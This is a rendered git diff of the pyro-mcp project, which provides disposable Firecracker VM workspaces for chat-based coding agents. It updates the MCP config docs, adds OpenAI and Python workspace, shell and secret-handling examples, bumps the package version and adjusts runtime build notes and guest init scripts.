||||||
mem_mib: int,
|
mem_mib: int = DEFAULT_MEM_MIB,
|
||||||
timeout_seconds: int = 30,
|
timeout_seconds: int = DEFAULT_TIMEOUT_SECONDS,
|
||||||
ttl_seconds: int = 600,
|
ttl_seconds: int = DEFAULT_TTL_SECONDS,
|
||||||
network: bool = False,
|
network: bool = False,
|
||||||
) -> str:
|
allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
) -> str:
|
||||||
"""Run one command in an ephemeral Firecracker VM and clean it up."""
|
"""Run one command in an ephemeral Firecracker VM and clean it up."""
|
||||||
return run_vm_run_tool(
|
return run_vm_run_tool(
|
||||||
environment=environment,
|
environment=environment,
|
||||||
|
|
@ -70,6 +80,7 @@ def build_langchain_vm_run_tool() -> Any:
|
||||||
timeout_seconds=timeout_seconds,
|
timeout_seconds=timeout_seconds,
|
||||||
ttl_seconds=ttl_seconds,
|
ttl_seconds=ttl_seconds,
|
||||||
network=network,
|
network=network,
|
||||||
|
allow_host_compat=allow_host_compat,
|
||||||
)
|
)
|
||||||
|
|
||||||
return vm_run
|
return vm_run
|
||||||
|
|
|
||||||
|
|
@ -1,5 +1,31 @@
|
||||||
# MCP Client Config Example
|
# MCP Client Config Example
|
||||||
|
|
||||||
|
Recommended named modes for most chat hosts in `4.x`:
|
||||||
|
|
||||||
|
- `repro-fix`
|
||||||
|
- `inspect`
|
||||||
|
- `cold-start`
|
||||||
|
- `review-eval`
|
||||||
|
|
||||||
|
Use the host-specific examples first when they apply:
|
||||||
|
|
||||||
|
- Claude Code: [examples/claude_code_mcp.md](claude_code_mcp.md)
|
||||||
|
- Codex: [examples/codex_mcp.md](codex_mcp.md)
|
||||||
|
- OpenCode: [examples/opencode_mcp_config.json](opencode_mcp_config.json)
|
||||||
|
|
||||||
|
Preferred repair/bootstrap helpers:
|
||||||
|
|
||||||
|
- `pyro host connect codex --mode repro-fix`
|
||||||
|
- `pyro host connect codex --mode inspect`
|
||||||
|
- `pyro host connect claude-code --mode cold-start`
|
||||||
|
- `pyro host connect claude-code --mode review-eval`
|
||||||
|
- `pyro host print-config opencode --mode repro-fix`
|
||||||
|
- `pyro host doctor --mode repro-fix`
|
||||||
|
- `pyro host repair opencode --mode repro-fix`
|
||||||
|
|
||||||
|
Use this generic config only when the host expects a plain `mcpServers` JSON
|
||||||
|
shape or when the named modes are too narrow for the workflow.
|
||||||
|
|
||||||
`pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI.
|
`pyro-mcp` is intended to be exposed to LLM clients through the public `pyro` CLI.
|
||||||
|
|
||||||
Generic stdio MCP configuration using `uvx`:
|
Generic stdio MCP configuration using `uvx`:
|
||||||
|
|
@ -9,7 +35,7 @@ Generic stdio MCP configuration using `uvx`:
|
||||||
"mcpServers": {
|
"mcpServers": {
|
||||||
"pyro": {
|
"pyro": {
|
||||||
"command": "uvx",
|
"command": "uvx",
|
||||||
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve"]
|
"args": ["--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
@ -22,19 +48,32 @@ If `pyro-mcp` is already installed locally, the same server can be configured wi
|
||||||
"mcpServers": {
|
"mcpServers": {
|
||||||
"pyro": {
|
"pyro": {
|
||||||
"command": "pyro",
|
"command": "pyro",
|
||||||
"args": ["mcp", "serve"]
|
"args": ["mcp", "serve", "--mode", "repro-fix"]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Primary tool for most agents:
|
If the host does not preserve the server working directory and you want the
|
||||||
|
first `workspace_create` to start from a specific checkout, add
|
||||||
|
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same args list.
|
||||||
|
|
||||||
- `vm_run`
|
Mode progression:
|
||||||
|
|
||||||
|
- `repro-fix`: patch, rerun, diff, export, reset
|
||||||
|
- `inspect`: narrow offline-by-default inspection
|
||||||
|
- `cold-start`: validation plus service readiness
|
||||||
|
- `review-eval`: shell and snapshot-driven review
|
||||||
|
- generic no-mode path: the fallback when the named mode is too narrow
|
||||||
|
- `workspace-full`: explicit advanced opt-in for shells, services, snapshots, secrets, network policy, and disk tools
|
||||||
|
|
||||||
|
Primary mode for most agents:
|
||||||
|
|
||||||
|
- `repro-fix`
|
||||||
|
|
||||||
Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls.
|
Use lifecycle tools only when the agent needs persistent VM state across multiple tool calls.
|
||||||
|
|
||||||
Concrete client-specific examples:
|
Other generic-client examples:
|
||||||
|
|
||||||
- Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json)
|
- Claude Desktop: [examples/claude_desktop_mcp_config.json](claude_desktop_mcp_config.json)
|
||||||
- Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json)
|
- Cursor: [examples/cursor_mcp_config.json](cursor_mcp_config.json)
|
||||||
|
|
|
||||||
|
|
@ -15,6 +15,13 @@ import os
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
from pyro_mcp import Pyro
|
from pyro_mcp import Pyro
|
||||||
|
from pyro_mcp.vm_manager import (
|
||||||
|
DEFAULT_ALLOW_HOST_COMPAT,
|
||||||
|
DEFAULT_MEM_MIB,
|
||||||
|
DEFAULT_TIMEOUT_SECONDS,
|
||||||
|
DEFAULT_TTL_SECONDS,
|
||||||
|
DEFAULT_VCPU_COUNT,
|
||||||
|
)
|
||||||
|
|
||||||
DEFAULT_MODEL = "gpt-5"
|
DEFAULT_MODEL = "gpt-5"
|
||||||
|
|
||||||
|
|
@ -33,8 +40,9 @@ OPENAI_VM_RUN_TOOL: dict[str, Any] = {
|
||||||
"timeout_seconds": {"type": "integer"},
|
"timeout_seconds": {"type": "integer"},
|
||||||
"ttl_seconds": {"type": "integer"},
|
"ttl_seconds": {"type": "integer"},
|
||||||
"network": {"type": "boolean"},
|
"network": {"type": "boolean"},
|
||||||
|
"allow_host_compat": {"type": "boolean"},
|
||||||
},
|
},
|
||||||
"required": ["environment", "command", "vcpu_count", "mem_mib"],
|
"required": ["environment", "command"],
|
||||||
"additionalProperties": False,
|
"additionalProperties": False,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
@ -45,11 +53,12 @@ def call_vm_run(arguments: dict[str, Any]) -> dict[str, Any]:
|
||||||
return pyro.run_in_vm(
|
return pyro.run_in_vm(
|
||||||
environment=str(arguments["environment"]),
|
environment=str(arguments["environment"]),
|
||||||
command=str(arguments["command"]),
|
command=str(arguments["command"]),
|
||||||
vcpu_count=int(arguments["vcpu_count"]),
|
vcpu_count=int(arguments.get("vcpu_count", DEFAULT_VCPU_COUNT)),
|
||||||
mem_mib=int(arguments["mem_mib"]),
|
mem_mib=int(arguments.get("mem_mib", DEFAULT_MEM_MIB)),
|
||||||
timeout_seconds=int(arguments.get("timeout_seconds", 30)),
|
timeout_seconds=int(arguments.get("timeout_seconds", DEFAULT_TIMEOUT_SECONDS)),
|
||||||
ttl_seconds=int(arguments.get("ttl_seconds", 600)),
|
ttl_seconds=int(arguments.get("ttl_seconds", DEFAULT_TTL_SECONDS)),
|
||||||
network=bool(arguments.get("network", False)),
|
network=bool(arguments.get("network", False)),
|
||||||
|
allow_host_compat=bool(arguments.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -88,7 +97,7 @@ def main() -> None:
|
||||||
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
|
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
|
||||||
prompt = (
|
prompt = (
|
||||||
"Use the vm_run tool to run `git --version` in an ephemeral VM. "
|
"Use the vm_run tool to run `git --version` in an ephemeral VM. "
|
||||||
"Use the `debian:12` environment with 1 vCPU and 1024 MiB of memory. "
|
"Use the `debian:12` environment. "
|
||||||
"Do not use networking for this request."
|
"Do not use networking for this request."
|
||||||
)
|
)
|
||||||
print(run_openai_vm_run_example(prompt=prompt, model=model))
|
print(run_openai_vm_run_example(prompt=prompt, model=model))
|
||||||
|
|
|
||||||
90
examples/openai_responses_workspace_core.py
Normal file
90
examples/openai_responses_workspace_core.py
Normal file
|
|
@ -0,0 +1,90 @@
|
||||||
|
"""Canonical OpenAI Responses API integration centered on workspace-core.
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- `pip install openai` or `uv add openai`
|
||||||
|
- `OPENAI_API_KEY`
|
||||||
|
|
||||||
|
This is the recommended persistent-chat example. In 4.x the default MCP server
|
||||||
|
profile is already `workspace-core`, so it derives tool schemas from
|
||||||
|
`Pyro.create_server()` and dispatches tool calls back through that same
|
||||||
|
default-profile server.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
from typing import Any, cast
|
||||||
|
|
||||||
|
from pyro_mcp import Pyro
|
||||||
|
|
||||||
|
DEFAULT_MODEL = "gpt-5"
|
||||||
|
|
||||||
|
|
||||||
|
def _tool_to_openai(tool: Any) -> dict[str, Any]:
|
||||||
|
return {
|
||||||
|
"type": "function",
|
||||||
|
"name": str(tool.name),
|
||||||
|
"description": str(getattr(tool, "description", "") or ""),
|
||||||
|
"strict": True,
|
||||||
|
"parameters": dict(tool.inputSchema),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _extract_structured(raw_result: object) -> dict[str, Any]:
|
||||||
|
if not isinstance(raw_result, tuple) or len(raw_result) != 2:
|
||||||
|
raise TypeError("unexpected call_tool result shape")
|
||||||
|
_, structured = raw_result
|
||||||
|
if not isinstance(structured, dict):
|
||||||
|
raise TypeError("expected structured dictionary result")
|
||||||
|
return cast(dict[str, Any], structured)
|
||||||
|
|
||||||
|
|
||||||
|
async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT_MODEL) -> str:
|
||||||
|
from openai import OpenAI # type: ignore[import-not-found]
|
||||||
|
|
||||||
|
pyro = Pyro()
|
||||||
|
server = pyro.create_server()
|
||||||
|
tools = [_tool_to_openai(tool) for tool in await server.list_tools()]
|
||||||
|
client = OpenAI()
|
||||||
|
input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}]
|
||||||
|
|
||||||
|
while True:
|
||||||
|
response = client.responses.create(
|
||||||
|
model=model,
|
||||||
|
input=input_items,
|
||||||
|
tools=tools,
|
||||||
|
)
|
||||||
|
input_items.extend(response.output)
|
||||||
|
|
||||||
|
tool_calls = [item for item in response.output if item.type == "function_call"]
|
||||||
|
if not tool_calls:
|
||||||
|
return str(response.output_text)
|
||||||
|
|
||||||
|
for tool_call in tool_calls:
|
||||||
|
result = _extract_structured(
|
||||||
|
await server.call_tool(tool_call.name, json.loads(tool_call.arguments))
|
||||||
|
)
|
||||||
|
input_items.append(
|
||||||
|
{
|
||||||
|
"type": "function_call_output",
|
||||||
|
"call_id": tool_call.call_id,
|
||||||
|
"output": json.dumps(result, sort_keys=True),
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL)
|
||||||
|
prompt = (
|
||||||
|
"Use the workspace-core tools to create a Debian 12 workspace named "
|
||||||
|
"`chat-fix`, write `app.py` with `print(\"fixed\")`, run it with "
|
||||||
|
"`python3 app.py`, export the file to `./app.py`, then delete the workspace. "
|
||||||
|
"Do not use one-shot vm_run for this request."
|
||||||
|
)
|
||||||
|
print(asyncio.run(run_openai_workspace_core_example(prompt=prompt, model=model)))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
9
examples/opencode_mcp_config.json
Normal file
9
examples/opencode_mcp_config.json
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
{
|
||||||
|
"mcp": {
|
||||||
|
"pyro": {
|
||||||
|
"type": "local",
|
||||||
|
"enabled": true,
|
||||||
|
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
@ -11,19 +11,13 @@ def main() -> None:
|
||||||
pyro = Pyro()
|
pyro = Pyro()
|
||||||
created = pyro.create_vm(
|
created = pyro.create_vm(
|
||||||
environment="debian:12",
|
environment="debian:12",
|
||||||
vcpu_count=1,
|
|
||||||
mem_mib=1024,
|
|
||||||
ttl_seconds=600,
|
ttl_seconds=600,
|
||||||
network=False,
|
network=False,
|
||||||
)
|
)
|
||||||
vm_id = str(created["vm_id"])
|
vm_id = str(created["vm_id"])
|
||||||
|
pyro.start_vm(vm_id)
|
||||||
try:
|
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
|
||||||
pyro.start_vm(vm_id)
|
print(json.dumps(result, indent=2, sort_keys=True))
|
||||||
result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30)
|
|
||||||
print(json.dumps(result, indent=2, sort_keys=True))
|
|
||||||
finally:
|
|
||||||
pyro.delete_vm(vm_id)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
|
||||||
|
|
@ -12,8 +12,6 @@ def main() -> None:
|
||||||
result = pyro.run_in_vm(
|
result = pyro.run_in_vm(
|
||||||
environment="debian:12",
|
environment="debian:12",
|
||||||
command="git --version",
|
command="git --version",
|
||||||
vcpu_count=1,
|
|
||||||
mem_mib=1024,
|
|
||||||
timeout_seconds=30,
|
timeout_seconds=30,
|
||||||
network=False,
|
network=False,
|
||||||
)
|
)
|
||||||
|
|
|
||||||
40
examples/python_shell.py
Normal file
40
examples/python_shell.py
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import tempfile
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from pyro_mcp import Pyro
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
pyro = Pyro()
|
||||||
|
with tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir:
|
||||||
|
Path(seed_dir, "note.txt").write_text("hello from shell\n", encoding="utf-8")
|
||||||
|
created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir)
|
||||||
|
workspace_id = str(created["workspace_id"])
|
||||||
|
try:
|
||||||
|
opened = pyro.open_shell(workspace_id)
|
||||||
|
shell_id = str(opened["shell_id"])
|
||||||
|
pyro.write_shell(workspace_id, shell_id, input="pwd")
|
||||||
|
deadline = time.time() + 5
|
||||||
|
while True:
|
||||||
|
read = pyro.read_shell(
|
||||||
|
workspace_id,
|
||||||
|
shell_id,
|
||||||
|
cursor=0,
|
||||||
|
plain=True,
|
||||||
|
wait_for_idle_ms=300,
|
||||||
|
)
|
||||||
|
output = str(read["output"])
|
||||||
|
if "/workspace" in output or time.time() >= deadline:
|
||||||
|
print(output, end="")
|
||||||
|
break
|
||||||
|
time.sleep(0.1)
|
||||||
|
pyro.close_shell(workspace_id, shell_id)
|
||||||
|
finally:
|
||||||
|
pyro.delete_workspace(workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
132
examples/python_workspace.py
Normal file
132
examples/python_workspace.py
Normal file
|
|
@ -0,0 +1,132 @@
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import tempfile
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from pyro_mcp import Pyro
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> None:
|
||||||
|
pyro = Pyro()
|
||||||
|
with (
|
||||||
|
tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir,
|
||||||
|
tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir,
|
||||||
|
tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir,
|
||||||
|
tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-") as disk_dir,
|
||||||
|
tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir,
|
||||||
|
):
|
||||||
|
Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8")
|
||||||
|
Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8")
|
||||||
|
secret_file = Path(secret_dir, "token.txt")
|
||||||
|
secret_file.write_text("from-file\n", encoding="utf-8")
|
||||||
|
created = pyro.create_workspace(
|
||||||
|
environment="debian:12",
|
||||||
|
seed_path=seed_dir,
|
||||||
|
name="repro-fix",
|
||||||
|
labels={"issue": "123"},
|
||||||
|
network_policy="egress+published-ports",
|
||||||
|
secrets=[
|
||||||
|
{"name": "API_TOKEN", "value": "expected"},
|
||||||
|
{"name": "FILE_TOKEN", "file_path": str(secret_file)},
|
||||||
|
],
|
||||||
|
)
|
||||||
|
workspace_id = str(created["workspace_id"])
|
||||||
|
try:
|
||||||
|
listed = pyro.list_workspaces()
|
||||||
|
print(f"workspace_count={listed['count']}")
|
||||||
|
updated = pyro.update_workspace(
|
||||||
|
workspace_id,
|
||||||
|
labels={"owner": "codex"},
|
||||||
|
)
|
||||||
|
print(updated["labels"]["owner"])
|
||||||
|
pyro.push_workspace_sync(workspace_id, sync_dir)
|
||||||
|
files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True)
|
||||||
|
print(f"workspace_entries={len(files['entries'])}")
|
||||||
|
note = pyro.read_workspace_file(workspace_id, "note.txt")
|
||||||
|
print(note["content"], end="")
|
||||||
|
written = pyro.write_workspace_file(
|
||||||
|
workspace_id,
|
||||||
|
"src/app.py",
|
||||||
|
text="print('hello from file ops')\n",
|
||||||
|
)
|
||||||
|
print(f"written_bytes={written['bytes_written']}")
|
||||||
|
patched = pyro.apply_workspace_patch(
|
||||||
|
workspace_id,
|
||||||
|
patch=(
|
||||||
|
"--- a/note.txt\n"
|
||||||
|
"+++ b/note.txt\n"
|
||||||
|
"@@ -1 +1 @@\n"
|
||||||
|
"-hello from sync\n"
|
||||||
|
"+hello from patch\n"
|
||||||
|
),
|
||||||
|
)
|
||||||
|
print(f"patch_changed={patched['changed']}")
|
||||||
|
result = pyro.exec_workspace(workspace_id, command="cat note.txt")
|
||||||
|
print(result["stdout"], end="")
|
||||||
|
secret_result = pyro.exec_workspace(
|
||||||
|
workspace_id,
|
||||||
|
command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'',
|
||||||
|
secret_env={"API_TOKEN": "API_TOKEN"},
|
||||||
|
)
|
||||||
|
print(secret_result["stdout"], end="")
|
||||||
|
diff_result = pyro.diff_workspace(workspace_id)
|
||||||
|
print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}")
|
||||||
|
snapshot = pyro.create_snapshot(workspace_id, "checkpoint")
|
||||||
|
print(snapshot["snapshot"]["snapshot_name"])
|
||||||
|
exported_path = Path(export_dir, "note.txt")
|
||||||
|
pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path)
|
||||||
|
print(exported_path.read_text(encoding="utf-8"), end="")
|
||||||
|
shell = pyro.open_shell(workspace_id, secret_env={"API_TOKEN": "API_TOKEN"})
|
||||||
|
shell_id = str(shell["shell_id"])
|
||||||
|
pyro.write_shell(
|
||||||
|
workspace_id,
|
||||||
|
shell_id,
|
||||||
|
input='printf "%s\\n" "$API_TOKEN"',
|
||||||
|
)
|
||||||
|
shell_output = pyro.read_shell(
|
||||||
|
workspace_id,
|
||||||
|
shell_id,
|
||||||
|
cursor=0,
|
||||||
|
plain=True,
|
||||||
|
wait_for_idle_ms=300,
|
||||||
|
)
|
||||||
|
print(f"shell_output_len={len(shell_output['output'])}")
|
||||||
|
pyro.close_shell(workspace_id, shell_id)
|
||||||
|
pyro.start_service(
|
||||||
|
workspace_id,
|
||||||
|
"web",
|
||||||
|
command="touch .web-ready && while true; do sleep 60; done",
|
||||||
|
readiness={"type": "file", "path": ".web-ready"},
|
||||||
|
secret_env={"API_TOKEN": "API_TOKEN"},
|
||||||
|
published_ports=[{"guest_port": 8080}],
|
||||||
|
)
|
||||||
|
services = pyro.list_services(workspace_id)
|
||||||
|
print(f"services={services['count']} running={services['running_count']}")
|
||||||
|
service_status = pyro.status_service(workspace_id, "web")
|
||||||
|
print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}")
|
||||||
|
print(f"published_ports={service_status['published_ports']}")
|
||||||
|
service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20)
|
||||||
|
print(f"service_stdout_len={len(service_logs['stdout'])}")
|
||||||
|
pyro.stop_service(workspace_id, "web")
|
||||||
|
stopped = pyro.stop_workspace(workspace_id)
|
||||||
|
print(f"stopped_state={stopped['state']}")
|
||||||
|
disk_listing = pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=True)
|
||||||
|
print(f"disk_entries={len(disk_listing['entries'])}")
|
||||||
|
disk_read = pyro.read_workspace_disk(workspace_id, "note.txt")
|
||||||
|
print(disk_read["content"], end="")
|
||||||
|
disk_image = Path(disk_dir, "workspace.ext4")
|
||||||
|
pyro.export_workspace_disk(workspace_id, output_path=disk_image)
|
||||||
|
print(f"disk_bytes={disk_image.stat().st_size}")
|
||||||
|
started = pyro.start_workspace(workspace_id)
|
||||||
|
print(f"started_state={started['state']}")
|
||||||
|
reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint")
|
||||||
|
print(f"reset_count={reset['reset_count']}")
|
||||||
|
print(f"secret_count={len(reset['secrets'])}")
|
||||||
|
logs = pyro.logs_workspace(workspace_id)
|
||||||
|
print(f"workspace_id={workspace_id} command_count={logs['count']}")
|
||||||
|
finally:
|
||||||
|
pyro.delete_workspace(workspace_id)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
[project]
|
[project]
|
||||||
name = "pyro-mcp"
|
name = "pyro-mcp"
|
||||||
version = "1.0.0"
|
version = "4.5.0"
|
||||||
description = "Curated Linux environments for ephemeral Firecracker-backed VM execution."
|
description = "Disposable MCP workspaces for chat-based coding agents on Linux KVM."
|
||||||
readme = "README.md"
|
readme = "README.md"
|
||||||
license = { file = "LICENSE" }
|
license = { file = "LICENSE" }
|
||||||
authors = [
|
authors = [
|
||||||
|
|
@ -9,7 +9,7 @@ authors = [
|
||||||
]
|
]
|
||||||
requires-python = ">=3.12"
|
requires-python = ">=3.12"
|
||||||
classifiers = [
|
classifiers = [
|
||||||
"Development Status :: 5 - Production/Stable",
|
"Development Status :: 4 - Beta",
|
||||||
"Environment :: Console",
|
"Environment :: Console",
|
||||||
"Intended Audience :: Developers",
|
"Intended Audience :: Developers",
|
||||||
"License :: OSI Approved :: MIT License",
|
"License :: OSI Approved :: MIT License",
|
||||||
|
|
@ -27,6 +27,7 @@ dependencies = [
|
||||||
Homepage = "https://git.thaloco.com/thaloco/pyro-mcp"
|
Homepage = "https://git.thaloco.com/thaloco/pyro-mcp"
|
||||||
Repository = "https://git.thaloco.com/thaloco/pyro-mcp"
|
Repository = "https://git.thaloco.com/thaloco/pyro-mcp"
|
||||||
Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues"
|
Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues"
|
||||||
|
PyPI = "https://pypi.org/project/pyro-mcp/"
|
||||||
|
|
||||||
[project.scripts]
|
[project.scripts]
|
||||||
pyro = "pyro_mcp.cli:main"
|
pyro = "pyro_mcp.cli:main"
|
||||||
|
|
@ -66,6 +67,7 @@ dev = [
|
||||||
"pre-commit>=4.5.1",
|
"pre-commit>=4.5.1",
|
||||||
"pytest>=9.0.2",
|
"pytest>=9.0.2",
|
||||||
"pytest-cov>=7.0.0",
|
"pytest-cov>=7.0.0",
|
||||||
|
"pytest-xdist>=3.8.0",
|
||||||
"ruff>=0.15.4",
|
"ruff>=0.15.4",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -18,14 +18,13 @@ Materialization workflow:
|
||||||
Official environment publication workflow:
|
Official environment publication workflow:
|
||||||
1. `make runtime-materialize`
|
1. `make runtime-materialize`
|
||||||
2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci`
|
2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci`
|
||||||
3. or run the repo workflow at `.github/workflows/publish-environments.yml` with Docker Hub credentials
|
3. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS`
|
||||||
4. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS`
|
|
||||||
|
|
||||||
Official end-user pulls are anonymous; registry credentials are only required for publishing.
|
Official end-user pulls are anonymous; registry credentials are only required for publishing.
|
||||||
|
|
||||||
Build requirements for the real path:
|
Build requirements for the real path:
|
||||||
- `docker`
|
- `docker`
|
||||||
- outbound network access to GitHub and Debian snapshot mirrors
|
- outbound network access to the pinned upstream release hosts and Debian snapshot mirrors
|
||||||
- enough disk for a kernel build plus 2G ext4 images per source profile
|
- enough disk for a kernel build plus 2G ext4 images per source profile
|
||||||
|
|
||||||
Kernel build note:
|
Kernel build note:
|
||||||
|
|
@ -35,7 +34,7 @@ Kernel build note:
|
||||||
Current status:
|
Current status:
|
||||||
1. Firecracker and Jailer are materialized from pinned official release artifacts.
|
1. Firecracker and Jailer are materialized from pinned official release artifacts.
|
||||||
2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`.
|
2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`.
|
||||||
3. The guest agent is installed into each rootfs and used for vsock exec.
|
3. The guest agent is installed into each rootfs and used for vsock exec plus workspace archive imports.
|
||||||
4. `runtime.lock.json` now advertises real guest capabilities.
|
4. `runtime.lock.json` now advertises real guest capabilities.
|
||||||
|
|
||||||
Safety rule:
|
Safety rule:
|
||||||
|
|
|
||||||
File diff suppressed because it is too large
Load diff
|
|
@ -5,7 +5,7 @@
|
||||||
"firecracker": "1.12.1",
|
"firecracker": "1.12.1",
|
||||||
"jailer": "1.12.1",
|
"jailer": "1.12.1",
|
||||||
"kernel": "5.10.210",
|
"kernel": "5.10.210",
|
||||||
"guest_agent": "0.1.0-dev",
|
"guest_agent": "0.2.0-dev",
|
||||||
"base_distro": "debian-bookworm-20250210"
|
"base_distro": "debian-bookworm-20250210"
|
||||||
},
|
},
|
||||||
"capabilities": {
|
"capabilities": {
|
||||||
|
|
|
||||||
|
|
@ -7,7 +7,8 @@ AGENT=/opt/pyro/bin/pyro_guest_agent.py
|
||||||
mount -t proc proc /proc || true
|
mount -t proc proc /proc || true
|
||||||
mount -t sysfs sysfs /sys || true
|
mount -t sysfs sysfs /sys || true
|
||||||
mount -t devtmpfs devtmpfs /dev || true
|
mount -t devtmpfs devtmpfs /dev || true
|
||||||
mkdir -p /run /tmp
|
mkdir -p /dev/pts /run /tmp
|
||||||
|
mount -t devpts devpts /dev/pts -o mode=620,ptmxmode=666 || true
|
||||||
hostname pyro-vm || true
|
hostname pyro-vm || true
|
||||||
|
|
||||||
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"
|
cmdline="$(cat /proc/cmdline 2>/dev/null || true)"
|
||||||
|
|
|
||||||
8
scripts/daily_loop_smoke.py
Normal file
8
scripts/daily_loop_smoke.py
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
"""Run the real guest-backed daily-loop smoke."""
|
||||||
|
|
||||||
|
from pyro_mcp.daily_loop_smoke import main
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
25
scripts/render_tape.sh
Executable file
25
scripts/render_tape.sh
Executable file
|
|
@ -0,0 +1,25 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then
|
||||||
|
printf 'Usage: %s <tape-file> [output-file]\n' "$0" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! command -v vhs >/dev/null 2>&1; then
|
||||||
|
printf '%s\n' 'vhs is required to render terminal recordings.' >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||||
|
TAPE_FILE="$1"
|
||||||
|
OUTPUT_FILE="${2:-}"
|
||||||
|
|
||||||
|
cd "$ROOT_DIR"
|
||||||
|
vhs validate "$TAPE_FILE"
|
||||||
|
|
||||||
|
if [ -n "$OUTPUT_FILE" ]; then
|
||||||
|
vhs -o "$OUTPUT_FILE" "$TAPE_FILE"
|
||||||
|
else
|
||||||
|
vhs "$TAPE_FILE"
|
||||||
|
fi
|
||||||
8
scripts/workspace_use_case_smoke.py
Normal file
8
scripts/workspace_use_case_smoke.py
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
"""Run the real guest-backed workspace use-case smoke scenarios."""
|
||||||
|
|
||||||
|
from pyro_mcp.workspace_use_case_smokes import main
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
1374
src/pyro_mcp/api.py
1374
